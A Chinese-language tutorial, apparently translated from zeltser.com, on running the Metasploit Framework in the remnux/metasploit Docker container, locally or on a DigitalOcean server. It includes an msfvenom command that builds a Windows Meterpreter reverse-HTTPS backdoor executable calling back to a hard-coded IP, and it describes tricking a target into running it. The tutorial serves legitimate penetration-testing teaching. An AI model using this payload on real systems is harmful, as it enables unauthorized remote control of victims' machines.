Metasploit Framework是一款强大的开源渗透测试工具。不管你是用它来工作还是只是感兴趣想实验一下,你都可以在docker容器中运行Metasploit Framework,这样可以绕开安装代码和依赖的痛苦。Docker镜像“remnux/metasploit”已经可以使用了,作为REMnux collection的一部分,感谢Jean Christophe Baptiste在配置上做的工作。
下面的说明和例子将会演示如何在一个公共服务器上使用Metasploit docker容器。这个容器提供了Metasploit Framework版本工具的命令行。如果你使用免费的共享版将没有web接口,你需要在Rapid 7上注册。Metasploit Framework的命令行功能非常强大,并且能够很好的帮助渗透测试任务,在远处系统上运行这些工具。
为了使用Metasploit Framework Docker镜像,你所需要的只是一个足够强大的系统,可以连接网络并且安装了Docker。当你在主机上运行下面的命令时,它会自动的从REMnux仓库下载镜像并启动。
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
在这个例子中,我直接在一个临时的容器上运行“remnux/metasploit”,退出的时候会消失(“rm”功能类似)。“-it”让你能够通过shell与容器进行交互。
为了保存容器的相关数据,我使用“-v”参数来将容器目录映射到我主机的目录上。我将使用”~/.msf4”目录来存放Metasploit Framework的配置文件。主机上的“/tmp/msf”目录将会存储其他数据,比如你可能从目标系统获取的数据。
参数“-p”对容器内部的端口进行映射。上面的例子用443端口来接收反弹shell的https连接。
这个镜像比较大:超过1.2GB,因为它包含Metasploit Framework完整的运行时环境,以及所有的依赖。在初始化下载之后将会在本地缓存。如果你想使用最新版本的镜像,使用以下命令“sudo docker pull remnux/metasploit”。
容器已经配置了每次启动时自动更新Metasploit模块。要加入你自己的模块,把它们加入到~/.msf4目录下。
这里是你在启动“remnux/metasploit”容器之后可能会做的实验。我会搭建一个有漏洞的windows系统作为实验目的。我会直接用Metasploit Framework远程连接到系统(我已经有了登录凭证),而不是利用漏洞。我会反弹一个HTTPS shell到我的Metasploit Framework控制台。
在上面的样本数据中,我启动了一个Metasploit的msf控制台工具,然后就直接给了我一个跟远程目标系统直接交互的Meterpreter shell。这个连接是用HTTPS传输的,直接连接到Metasploit Framework 容器的443端口。
对目标机器的截图存放在容器的/tmp/data目录。当我退出容器的时候,那个目录的内容仍然保存在主机的/tmp/msf目录下。
在进行渗透测试时,你可能想在网络可访问的系统上运行Metasploit。你可以在公有云厂商上建立一个临时的服务器,然后在那台主机上运行Metasploit Framework容器。
举个例子,这里给出了使用DigitalOcean来实现的方法,我比较喜欢这个因为可靠性高并且很便宜。(链接包含我的参考代码)。DigitalOcean 最便宜的只需5美元一个月,这种最低端的系统配置的RAM无法满足Metasploit,我买了10美元一个月的Ubuntu主机。
新系统启动之后,你可以登录进去并执行下面的命令来安装Docker:
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
add-apt-repository -y "deb https://apt.dockerproject.org/repo ubuntu-$(lsb_release -sc) main"
apt-get update
apt-get -y dist-upgrade
apt-get -y install docker-engine
然后你可以直接使用下面的命令下载Metasploit Framework容器
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
举个例子,我决定使用Metasploit 来生成一个单独的后门文件,我会欺骗目标系统运行这个恶意软件,来自windows系统上运行。我运行“msfvenom” Metasploit Framework容器内部的工具来进行实现:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=104.236.213.164 LPORT=443 -e x86/shikata_ga_nai -f exe -o file.exe
由于容器内部默认使用/tmp/data目录,所以结果文件会存放在那。由于我将这个路径映射到主机上的/tmp/msf目录,所以我可以将它取出并传输到我的windows机器上。
然后我运行容器内部的“msfconsole”直接用multi/handler工具,它可以用来接收“msfconsole”接口生成的外部连接。一旦反弹HTTPS监听被激活,我就可以使用前面创建的file.exe来感染Windows系统了,它会完成连接并提供一个Meterpreter shell。
正如前面例子说的,我将windows系统的截图存到/tmp/data目录,这可以让我保留它即使容器退出之后。
容器的其他功能Metasploit Framework同样包含著名的Nmap扫描器,你可以用“nmap”命令来使用。它提供了强大的功能来寻找网络和系统潜在的漏洞然后帮你判断哪里是你Metasploit的重点。容器也包含NASM反汇编程序。
另外容器还包含tmux。它能让你在一个窗口上启动多个虚拟窗口。容器配置Ctrl+a作为命令快捷键来替代默认的Ctrl+b。在Metasploit Framework容器启动之后,输入“tmux”来启动。这会在虚拟窗口的内部给你一个shell。要开启另一个,在“c”以后按下Ctrl+a。在窗口之间切换,在输入窗口编号之后按Ctrl+a。
例如,你可以使用tmux在一个窗口运行nmap,在另一个窗口运行msfconsole。你可以阅读tmux使用教程。
Docker容器提供了一个简便的方法来运行Metasploit Framework,从而免去了你安装代码和依赖的麻烦。用这个方式运行Metasploit能够快速的在你的新系统上部署环境,比如在公有云上运行,然后下载下来,不损失任何数据。另外,这个方法需要你对Docker容器有一定的了解。
感谢Jean Christophe Baptiste在“remnux/metasploit”的基础上创建和维护Dockerfile以及相关的配置文件。如果你有什么问题和建议,可以在REMnux仓库对应的Docker文件下面提出。
*参考来源: zeltser.com ,FB小编老王隔壁的白帽子翻译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)